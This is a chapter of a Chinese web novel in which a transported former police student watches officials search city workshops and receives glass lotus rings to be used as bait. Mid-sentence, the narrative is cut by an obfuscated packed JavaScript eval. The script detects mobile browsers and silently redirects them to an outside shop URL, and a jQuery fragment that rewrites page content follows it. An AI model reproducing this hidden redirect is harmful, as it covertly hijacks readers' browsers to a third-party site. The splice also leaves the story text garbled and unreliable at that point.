第二日,易伍到达工坊的时候,城东所有的工坊都闹了个人仰马翻。
祁安亲自去报了案,直言说自家骨料出了问题,想要官爷亲自去查一查。
祁安将话说的很漂亮,为防同行也遭奸人所害,建议所有涉及骨料的工坊都查一查,也好安民心。
民心安没安易伍不知道,但祸水东引后,林家工坊彻底不显眼了。
易伍穿着罩衣,站在人群外,边看那些搜查的衙役的动作,边和卓清咬耳朵。
“钱塘郡的衙役倒是规矩,库房这么多杯盘碗盏,竟没听到一声脆响。”
卓清喝了口牛乳,嘴角不自觉向下撇。
“今天是检查城东所有药玉工坊,先不说县令老爷就在街上盯着呢,就说他一个小衙役,这些能开的起工坊的人家,哪个是他们招惹的起的?”
易伍了然,轻拿轻放看来是这些世家大族的特权,当然,也会看祁安这个散财童子的面子。
易伍也下意识喂了自己一口牛乳,她来得晚,只看到了衙役们的背影,却总觉得哪里透着怪异。
“蹲在那里那两个衙役,怎么每根骨头都要看一看,骨头和骨头还有区别么?”
卓清顺着易伍的手看去,果然看到一年轻一老迈两个身影,头对头蹲在角落,对着一堆骨头挨个分辨。
“怕是仵作吧,祁掌柜说了,骨头嘛,还是要仵作过手之后,才好下定论的。”
易伍也猜到了两人的身份,她仔细想了想,让她奇怪的,应该是身形。
“老仵作怎么选了那么个身材娇小的做徒弟。”
易伍嘀咕,能到钱塘县衙做衙役的,十个有八个人高马大,一个壮硕如牛,最后剩的那个也得是吃闲饭的关系户。
这事事避讳的年代,愿意做仵作的本就是少数,若一个关系户还有主动继承仵作衣钵的觉悟,定然是凤毛麟角的存在了。
卓清脸上的笑立马落了下去,就连声音里也带上了两分冷意。
“仵作是技术活,又不费什么力气,身量小些又不打紧。”
易伍吓了个机灵,很快又反应过来。
“怎么,卓娘子认识那位小仵作?”
“不认识。”
卓清声音闷闷的,远不如初见时的爽朗。
“女子出来做工的还少么,怎么有人凭本事入了衙门老爷的眼,还要平白因为身量小些比旁人多受些非议。”
卓清这话近乎嘟囔,但易伍还是听到了关键词,震惊了好一会儿才开口向卓清再次确认。
“你是说,那位小仵作,竟是位女子?”
女子出门做工都难的年代,竟然有人能混进县衙!
卓清更为易伍的反应震惊,这不是明摆着呢么,手指白皙修长,身量娇小,就连头上的发髻都和男子有异,怎么可能看不出来。
“女子,女子竟也能入衙门么?”
卓清满脸的余有荣焉,好像被夸奖的是自己。
“出门做工嘛,有才者居之,也没哪条律令说,进衙门做工的,就一定是男子。”
易伍却从没这么想过。
外面这些商家,用男工也好,女工也罢,商家出了工钱,工人交出成绩,两相便宜,谁想反对也找不出理由来。
但衙门不一样,衙门代表的是权力机构和暴力单位,接纳女工,是从国本态度上,彻底接受了女人出门赚钱做工这件事。
这是两件完全不同概念的事。
但好像,所有人都对此习以为常。
易伍心中隐隐升出一点希望,或许,她这个警校生,在异世界也能找一份专业对口的工作?
只是看了看身上明显没撑起来的衣服,易伍还是叹了口气。
衙门愿意用女工是一回事,她这副身体瘦弱则是另一回事。
难道她还能用这副能被衙役拎起来的身体去抓贼么?
送给贼人还差不多。
仵作右手边的骨堆越来越高,终于连最后一点骨头渣子都看的清楚明白,这场以搜查开始的热闹也就尽了。
易伍跟在卓清身边,笑容恬淡的看着衙役们带着围观的群众,转身进了季家工坊。
季徒在门口笑脸盈盈的亲自接人进了工坊,离开大门前却猛地回头,狠狠瞪了挥手作别的祁安一眼。
祁安笑得开怀,不但不介意,还主动向季徒表示要多保重。
易伍看的热闹,却刚好撞上了回身的祁安,狠狠收获了一对儿白眼。
易伍:……
热闹谁都能瞧,偏她不行是吧!
“前日送去退火的小件该开窑了,一起去吧。”
路过易伍时,只见到祁安嘴唇在动,就连眼神都没多给易伍一个,全然不似往日那般温和。
易伍委委屈屈的跟在祁安后面,还顺手拉来了卓清做挡箭牌。
“我真的只看了一眼,连笑都没敢笑!”
易伍小声嘀咕,逗得卓清笑得见牙不见眼。
“前日那窑做了不少色卡,不过还按照你的喜好捏了些小玩意儿,等会儿拿给你。”
卓清笑够了,说秘密似的凑到易伍耳边嘀咕。
易伍眼睛一转,再看向祁安的眼神又变成得意。
祁安管了十年的林家工坊,抵不上她来这区区几天的朝夕相处。
瞧瞧,卓娘子是偏在她这边的。
退火的小窑前,已经有窑工在做开窑前的准备,见卓清来了,立马机灵的让出位置。
这是易伍第二次围观退火小窑开窑,与上次的懵懂与忐忑不同,这次易伍还隐隐带着一丝兴奋。
标准色块如果成了,以后能玩出的花样怕是更多了。
见到实物后,真正让易伍激动的,却不是标准色块的成功,而是卓清嘴中所说的小件。
原本送进窑内的小件都是易伍给出的花样,易伍虽然期待,却并不放在心上。
但开窑后,卓清直奔最里面的角落,拿出了两支匣钵,献宝似的撬开给易伍看。
两支匣钵内,各躺着一枚水芙蓉戒指,一枚是易伍指定的浅桃玉色,另一枚,却是卓清为易伍准备的惊喜。
“上次塑型时,祁安就盯着水芙蓉戒指,不知道他打的什么主意,我干脆又做了一枚,瞧瞧看,喜不喜欢?”
易伍指定的浅桃玉色水芙蓉烧的很成功,色泽均匀的同时,还泛着温柔的暖玉光泽,器型也带着水芙蓉特有的优雅。
而卓清捏的那支,是在各个器型上省下来的玻璃液拼出来的,最显眼的颜色是芙蓉瓣尖那一点桃玉色,其余地方,则是灰度相差不大但依旧有序的均匀乳浊色。
就是这么一件用剩余玻璃液拼出来的水芙蓉,竟因祸得福,得了从瓣尖到瓣面逐渐淡下去的浅桃玉色,更
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17749627|208858||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
显生动几分。
若不看材料珍贵程度,这枚渐变水芙蓉,更胜第一窑的天水蓝色水芙蓉。
易伍看了很久,脸上的笑就没落下来过。
戒圈的尺寸都是照着易伍的指头捏的,易伍也不客气,两只手都带上,看着开在指尖的两朵水芙蓉傻笑。
“我就说怎么没找到水芙蓉,原是被你抢了先。”
祁安明显心情不错,点完这窑所出才朝易伍这边过来。
易伍莫名心虚,转身打招呼的同时,顺手将水芙蓉藏到身后。
“怎么,连我都不能看一眼么?
可见卓娘子的手艺更精进了,连我们见多识广的小鱼儿都陷进去了。”
易伍视死如归的伸出两只手,将头扭向旁边,甚至能感觉到自己的心在滴血。
“喏,两支,这可是我第一个得意之作!”
易伍忍痛割爱的举动倒是让祁安起了玩性,只见他故意在两支水芙蓉之间来回夸,好像根本无法抉择一样。
祁安一边夸,一边还在偷瞄易伍的表情。
见到易伍并没有因为自己多夸了哪支两句就更心疼两分,脸上的笑容更胜了。
可见易伍心疼祁安挑走的水芙蓉,并不是因为哪支更得她的心意,而单单是因为,那是她设计出来的。
祁安想起了林宅卧房里那支药玉花瓶,如今应还摆在卧房内,曾也是林音最爱的物件之一。
那是林音烧出的第一支爆款。
如今来看,那支花瓶只能说平平无奇,不过是比别的工坊用了更干净的石料,所以显得更为通透罢了。
“好了,你来选吧,这两支你若舍得,就匀一支给清和。
若是舍不得,借一支给她明日用也是可以的。”
易伍眼珠忍不住乱转,不过一个药玉烧成的首饰,竟到了就算借,也要让林清和戴上的程度了么?
“可是要带去做饵?”
一直旁观的卓清不忍心,干脆点了一句。
祁安点头,笑容里藏着成型的计划。
易伍一点就透,左看看又看看,还是推出了卓清亲自塑型的那支渐变水芙蓉。
“这支更生动些,若要做饵,不如用这支吧。”
易伍其实更喜欢这支的,但为了打窝效果更好,只好忍痛割爱了。
“不过是借的!等你用完了,记得还我!”
祁安刚要伸手去接,易伍却又小气的收了回来,一字一句的强调自己的条件。
祁安扑了个空,也不恼,乐呵呵的接过渐变水芙蓉。
临离手时,易伍却再次收了回去。
“这枚上面用了骨玉,只带了一点点浅桃玉色,会不会受到外面风波的影响?”
官府的差役可刚送走,虽然有关骨玉的不好风声还没传开,但若有人刻意为之,怕是等不到踏青宴,骨玉就要被钉在耻辱柱上了。
祁安的动作甚至没带上一丝犹豫,坚定的选择了渐变水芙蓉。
“不打紧的,不过是个饵,真正要送出去的,又不是骨玉。
再说了,就算染上了些流言,就单凭这鬼斧神工的技艺,我敢说,它也是不愁买家的。”
易伍虽将水芙蓉递了过去,却还是没忍住鼓了鼓腮帮子。
她可不管以后琼玉阁会卖哪种水芙蓉,反正她这两支,是谁也不许拿去卖了的!